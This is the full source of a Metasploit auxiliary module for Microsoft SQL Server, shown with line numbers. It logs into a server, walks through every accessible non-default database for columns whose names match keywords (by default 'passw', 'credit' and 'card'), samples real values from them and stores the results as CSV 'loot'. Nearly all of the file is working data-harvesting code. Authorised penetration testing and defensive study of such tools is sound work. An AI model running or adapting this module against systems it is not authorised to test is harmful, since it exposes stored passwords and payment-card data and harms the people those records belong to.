Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Auxiliary::Scanner
8
  include Msf::Auxiliary::Report
9
  include Msf::Exploit::Remote::MSSQL
10
  include Msf::OptionalSession::MSSQL
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Microsoft SQL Server Find and Sample Data',
15
      'Description'    => %q{This script will search through all of the non-default databases
16
      on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS
17
      option. If column names are found that match the defined keywords and data is present
18
      in the associated tables, the script will select a sample of the records from each of
19
      the affected tables.  The sample size is determined by the SAMPLE_SIZE option, and results
20
      output in a CSV format.
21
      },
22
      'Author'         => [
23
        'Scott Sutherland <scott.sutherland[at]netspi.com>', # Metasploit module
24
        'Robin Wood <robin[at]digininja.org>',               # IDF module which was my inspiration
25
        'humble-desser <humble.desser[at]gmail.com>',         # Help on IRC
26
        'Carlos Perez <carlos_perez[at]darkoperator.com>',   # Help on IRC
27
        'hdm',                                               # Help on IRC
28
        'todb'                                               # Help on GitHub
29
      ],
30
      'License'        => MSF_LICENSE,
31
      'References'     => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]]
32
    ))
33

34
    register_options(
35
      [
36
        OptString.new('KEYWORDS', [ true, 'Keywords to search for','passw|credit|card']),
37
        OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample',  1]),
38
      ])
39
  end
40

41
  def print_with_underline(str)
42
    print_line(str)
43
    print_line("=" * str.length)
44
  end
45

46
  def run_host(ip)
47
    sql_statement()
48
  end
49

50
  def sql_statement()
51

52
    # DEFINED HEADER TEXT
53
    headings = [
54
      ["Server","Database", "Schema", "Table", "Column", "Data Type", "Sample Data","Row Count"]
55
    ]
56

57
    # DEFINE SEARCH QUERY AS VARIABLE
58
    sql = "
59
    -- CHECK IF VERSION IS COMPATIBLE = > than 2000
60
    IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,
61
    CHARINDEX('.',cast(SERVERPROPERTY('ProductVersion') as VARCHAR),1)-1)) > 0
62
    BEGIN
63

64
      -- TURN OFF ROW COUNT
65
      SET NOCOUNT ON;
66
      --------------------------------------------------
67
      -- SETUP UP SAMPLE SIZE
68
      --------------------------------------------------
69
      DECLARE @SAMPLE_COUNT varchar(800);
70
      SET @SAMPLE_COUNT = '#{datastore['SAMPLE_SIZE']}';
71

72
      --------------------------------------------------
73
      -- SETUP KEYWORDS TO SEARCH
74
      --------------------------------------------------
75
      DECLARE @KEYWORDS varchar(800);
76
      SET @KEYWORDS = '#{datastore['KEYWORDS']}|';
77

78
      --------------------------------------------------
79
      --SETUP WHERE STATEMENT CONTAINING KEYWORDS
80
      --------------------------------------------------
81
      DECLARE @SEARCH_TERMS varchar(800);
82
      SET @SEARCH_TERMS = ''; -- Leave this blank
83

84
      -- START WHILE LOOP HERE -- BEGIN TO ITERATE THROUGH KEYWORDS
85

86
        WHILE LEN(@KEYWORDS) > 0
87
          BEGIN
88
            --SET VARIABLES UP FOR PARSING PROCESS
89
            DECLARE @change int
90
            DECLARE @keyword varchar(800)
91

92
            --SET KEYWORD CHANGE TRACKER
93
            SELECT @change = CHARINDEX('|',@KEYWORDS);
94

95
            --PARSE KEYWORD
96
            SELECT @keyword = SUBSTRING(@KEYWORDS,0,@change) ;
97

98
            -- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT
99
            SELECT @SEARCH_TERMS = 'LOWER(COLUMN_NAME) like ''%'+@keyword+'%'' or '+@SEARCH_TERMS
100

101
            -- REMOVE PROCESSED KEYWORD
102
            SET @KEYWORDS = SUBSTRING(@KEYWORDS,@change+1,LEN(@KEYWORDS));
103

104
          END
105
        -- REMOVE UNNEEDED
106
        SELECT @SEARCH_TERMS = SUBSTRING(@SEARCH_TERMS,0,LEN(@SEARCH_TERMS)-2);
107

108
      --------------------------------------------------
109
      -- CREATE GLOBAL TEMP TABLES
110
      --------------------------------------------------
111
      USE master;
112

113
      IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;
114
      IF OBJECT_ID('tempdb..##mytable') IS NULL
115
      BEGIN
116
        CREATE TABLE ##mytable (
117
          server_name varchar(800),
118
          database_name varchar(800),
119
          table_schema varchar(800),
120
          table_name varchar(800),
121
          column_name varchar(800),
122
          column_data_type varchar(800)
123
        )
124
      END
125

126
      IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;
127
      IF OBJECT_ID('tempdb..##mytable2') IS NULL
128
      BEGIN
129
        CREATE TABLE ##mytable2 (
130
          server_name varchar(800),
131
          database_name varchar(800),
132
          table_schema varchar(800),
133
          table_name varchar(800),
134
          column_name varchar(800),
135
          column_data_type varchar(800),
136
          column_value varchar(800),
137
          column_data_row_count varchar(800)
138
        )
139
      END
140

141
      --------------------------------------------------
142
      -- CURSOR1
143
      -- ENUMERATE COLUMNS FROM EACH DATABASE THAT
144
      -- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE
145
      --------------------------------------------------
146

147
      -- SETUP SOME VARIABLES FOR THE MYCURSOR1
148
      DECLARE @var1 varchar(800);
149
      DECLARE @var2 varchar(800);
150

151
      --------------------------------------------------------------------
152
      -- CHECK IF ANY NON-DEFAULT DATABASE EXIST
153
      --------------------------------------------------------------------
154
      IF (SELECT count(*)
155
      FROM master..sysdatabases
156
      WHERE name NOT IN ('master','tempdb','model','msdb')
157
      and HAS_DBACCESS(name) <> 0) <> 0
158
      BEGIN
159
        DECLARE MY_CURSOR1 CURSOR
160
        FOR
161

162
        SELECT name FROM master..sysdatabases
163
        WHERE name NOT IN ('master','tempdb','model','msdb')
164
        and HAS_DBACCESS(name) <> 0;
165

166
        OPEN MY_CURSOR1
167
        FETCH NEXT FROM MY_CURSOR1 INTO @var1
168
        WHILE @@FETCH_STATUS = 0
169
        BEGIN
170
        ---------------------------------------------------
171
        -- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE
172
        ---------------------------------------------------
173
        SET @var2 = '
174
        INSERT INTO ##mytable
175
        SELECT @@SERVERNAME as SERVER_NAME,
176
        TABLE_CATALOG as DATABASE_NAME,
177
        TABLE_SCHEMA,
178
        TABLE_NAME,
179
        COLUMN_NAME,
180
        DATA_TYPE
181
        FROM ['+@var1+'].[INFORMATION_SCHEMA].[COLUMNS] WHERE '
182

183
        --APPEND KEYWORDS TO QUERY
184
        DECLARE @fullquery varchar(800);
185
        SET @fullquery = @var2+@SEARCH_TERMS;
186

187
        EXEC(@fullquery);
188
        FETCH NEXT FROM MY_CURSOR1 INTO @var1
189

190
        END
191
        CLOSE MY_CURSOR1
192
        DEALLOCATE MY_CURSOR1
193
        -------------------------------------------------
194
        -- CURSOR2
195
        -- TAKE A X RECORD SAMPLE FROM EACH OF THE COLUMNS
196
        -- THAT MATCH THE DEFINED KEYWORDS
197
        -- NOTE: THIS WILL NOT SAMPLE EMPTY TABLES
198
        -------------------------------------------------
199

200
        IF (SELECT COUNT(*) FROM ##mytable) < 1
201
          BEGIN
202
            SELECT 'No columns where found that match the defined keywords.' as Message;
203
          END
204
        ELSE
205
          BEGIN
206
            DECLARE @var_server varchar(800)
207
            DECLARE @var_database varchar(800)
208
            DECLARE @var_table varchar(800)
209
            DECLARE @var_table_schema varchar(800)
210
            DECLARE @var_column_data_type varchar(800)
211
            DECLARE @var_column varchar(800)
212
            DECLARE @myquery varchar(800)
213
            DECLARE @var_column_data_row_count varchar(800)
214

215
            DECLARE MY_CURSOR2 CURSOR
216
            FOR
217
            SELECT server_name,database_name,table_schema,table_name,column_name,column_data_type
218
            FROM ##mytable
219

220
              OPEN MY_CURSOR2
221
              FETCH NEXT FROM MY_CURSOR2 INTO @var_server,
222
              @var_database,
223
              @var_table_schema,
224
              @var_table,
225
              @var_column,
226
              @var_column_data_type
227
              WHILE @@FETCH_STATUS = 0
228
              BEGIN
229
              ----------------------------------------------------------------------
230
              -- ADD AFFECTED SERVER/SCHEMA/TABLE/COLUMN/DATATYPE/SAMPLE DATA TO MYTABLE2
231
              ----------------------------------------------------------------------
232
              -- GET COUNT
233
              DECLARE @mycount_query as varchar(800);
234
              DECLARE @mycount as varchar(800);
235

236
              -- CREATE TEMP TABLE TO GET THE COLUMN DATA ROW COUNT
237
              IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
238
              CREATE TABLE #mycount(mycount varchar(800));
239

240
              -- SETUP AND EXECUTE THE COLUMN DATA ROW COUNT QUERY
241
              SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT
242
                        COUNT('+@var_column+') FROM '+@var_database+'.
243
                        '+@var_table_schema+'.'+@var_table;
244
              EXEC(@mycount_query);
245

246
              -- SET THE COLUMN DATA ROW COUNT
247
              SELECT @mycount = mycount FROM #mycount;
248

249
              -- REMOVE TEMP TABLE
250
              IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
251

252
              SET @myquery = '
253
              INSERT INTO ##mytable2
254
                    (server_name,
255
                    database_name,
256
                    table_schema,
257
                    table_name,
258
                    column_name,
259
                    column_data_type,
260
                    column_value,
261
                    column_data_row_count)
262
              SELECT TOP '+@SAMPLE_COUNT+' ('''+@var_server+''') as server_name,
263
                    ('''+@var_database+''') as database_name,
264
                    ('''+@var_table_schema+''') as table_schema,
265
                    ('''+@var_table+''') as table_name,
266
                    ('''+@var_column+''') as comlumn_name,
267
                    ('''+@var_column_data_type+''') as column_data_type,
268
                    '+@var_column+','+@mycount+' as column_data_row_count
269
              FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+']
270
              WHERE '+@var_column+' IS NOT NULL;
271
              '
272
              EXEC(@myquery);
273

274
              FETCH NEXT FROM MY_CURSOR2 INTO
275
                    @var_server,
276
                    @var_database,
277
                    @var_table_schema,
278
                    @var_table,@var_column,
279
                    @var_column_data_type
280
              END
281
            CLOSE MY_CURSOR2
282
            DEALLOCATE MY_CURSOR2
283

284
            -----------------------------------
285
            -- SELECT THE RESULTS OF THE SEARCH
286
            -----------------------------------
287
            IF (SELECT @SAMPLE_COUNT)= 1
288
              BEGIN
289
                SELECT DISTINCT cast(server_name as CHAR) as server_name,
290
                cast(database_name as char) as database_name,
291
                cast(table_schema as char) as table_schema,
292
                cast(table_name as char) as table_schema,
293
                cast(column_name as char) as column_name,
294
                cast(column_data_type as char) as column_data_type,
295
                cast(column_value as char) as column_data_sample,
296
                cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
297
              END
298
            ELSE
299
              BEGIN
300
                SELECT DISTINCT cast(server_name as CHAR) as server_name,
301
                cast(database_name as char) as database_name,
302
                cast(table_schema as char) as table_schema,
303
                cast(table_name as char) as table_schema,
304
                cast(column_name as char) as column_name,
305
                cast(column_data_type as char) as column_data_type,
306
                cast(column_value as char) as column_data_sample,
307
                cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
308
              END
309
          END
310
      -----------------------------------
311
      -- REMOVE GLOBAL TEMP TABLES
312
      -----------------------------------
313
      IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;
314
      IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;
315

316
      END
317
      ELSE
318
      BEGIN
319
        ----------------------------------------------------------------------
320
        -- RETURN ERROR MESSAGES IF THERE ARE NOT DATABASES TO ACCESS
321
        ----------------------------------------------------------------------
322
        IF (SELECT count(*) FROM master..sysdatabases
323
        WHERE name NOT IN ('master','tempdb','model','msdb')) < 1
324
          SELECT 'No non-default databases exist to search.' as Message;
325
        ELSE
326
          SELECT 'Non-default databases exist,
327
          but the current user does not have
328
          the privileges to access them.' as Message;
329
        END
330
    END
331
    else
332
    BEGIN
333
      SELECT 'This module only works on SQL Server 2005 and above.';
334
    END
335

336
    SET NOCOUNT OFF;"
337

338

339

340
    # STATUSING
341

342
    # CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
343
    begin
344
      if session
345
        set_mssql_session(session.client)
346
      else
347
        print_line(" ")
348
        print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")
349
        return unless mssql_login_datastore
350
        print_good("Successfully connected to #{mssql_client.peerhost}:#{mssql_client.peerport}")
351
      end
352
      result = mssql_query(sql, false)
353

354
      column_data = result[:rows]
355
    rescue
356
      print_error("Failed to connect to #{rhost}:#{rport}")
357
    return
358
    end
359

360
    # CREATE TABLE TO STORE SQL SERVER DATA LOOT
361
    sql_data_tbl = Rex::Text::Table.new(
362
      'Header'  => 'SQL Server Data',
363
      'Indent'   => 1,
364
      'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
365
    )
366

367
    # STATUSING
368
    print_status("Attempting to retrieve data ...")
369

370
    if (column_data.count < 7)
371
      #Save loot status
372
      save_loot="no"
373

374
      #Return error from SQL server
375
      column_data.each { |row|
376
        print_status("#{row.to_s.gsub("[","").gsub("]","").gsub("\"","")}")
377
      }
378
    return
379
    else
380
      #SETUP COLUMN WIDTH FOR QUERY RESULTS
381
      #Save loot status
382
      save_loot="yes"
383
      column_data.each { |row|
384
        0.upto(7) { |col|
385
          row[col] = row[col].strip.to_s
386
          }
387
      }
388
      print_line(" ")
389
    end
390

391
    # SETUP ROW WIDTHS
392
    widths = [0, 0, 0, 0, 0, 0, 0, 0]
393
    (column_data|headings).each { |row|
394
      0.upto(7) { |col|
395
        widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col]
396
      }
397
    }
398

399
    # PRINT HEADERS
400
    buffer1 = ""
401
    buffer2 = ""
402
    headings.each { |row|
403
      0.upto(7) { |col|
404
        buffer1 += row[col].ljust(widths[col] + 1)
405
        buffer2 += row[col]+ ","
406
      }
407
      print_line(buffer1)
408
      buffer2 = buffer2.chomp(",")+ "\n"
409
    }
410

411
    # PRINT DIVIDERS
412
    buffer1 = ""
413
    buffer2 = ""
414
    headings.each { |row|
415
      0.upto(7) { |col|
416
        divider = "=" * widths[col] + " "
417
        buffer1 += divider.ljust(widths[col] + 1)
418
      }
419
      print_line(buffer1)
420
    }
421

422
    # PRINT DATA
423
    buffer1 = ""
424
    buffer2 = ""
425
    print_line("")
426
    column_data.each { |row|
427
      0.upto(7) { |col|
428
        buffer1 += row[col].ljust(widths[col] + 1)
429
        buffer2 += row[col] + ","
430
      }
431
      print_line(buffer1)
432
      buffer2 = buffer2.chomp(",")+ "\n"
433

434
      # WRITE QUERY OUTPUT TO TEMP REPORT TABLE
435
      sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]
436

437
      buffer1 = ""
438
      buffer2 = ""
439
      print_line(buffer1)
440
    }
441
    disconnect
442

443
    this_service = nil
444
    if framework.db and framework.db.active
445
      this_service = report_service(
446
        :host  => mssql_client.peerhost,
447
        :port => mssql_client.peerport,
448
        :name => 'mssql',
449
        :proto => 'tcp'
450
      )
451
    end
452

453
    # CONVERT TABLE TO CSV AND WRITE TO FILE
454
    if (save_loot=="yes")
455
      filename= "#{mssql_client.peerhost}-#{mssql_client.peerport}_sqlserver_query_results.csv"
456
      path = store_loot("mssql.data", "text/plain", mssql_client.peerhost, sql_data_tbl.to_csv, filename, "SQL Server query results",this_service)
457
      print_good("Query results have been saved to: #{path}")
458
    end
459

460
  end
461
end
462

463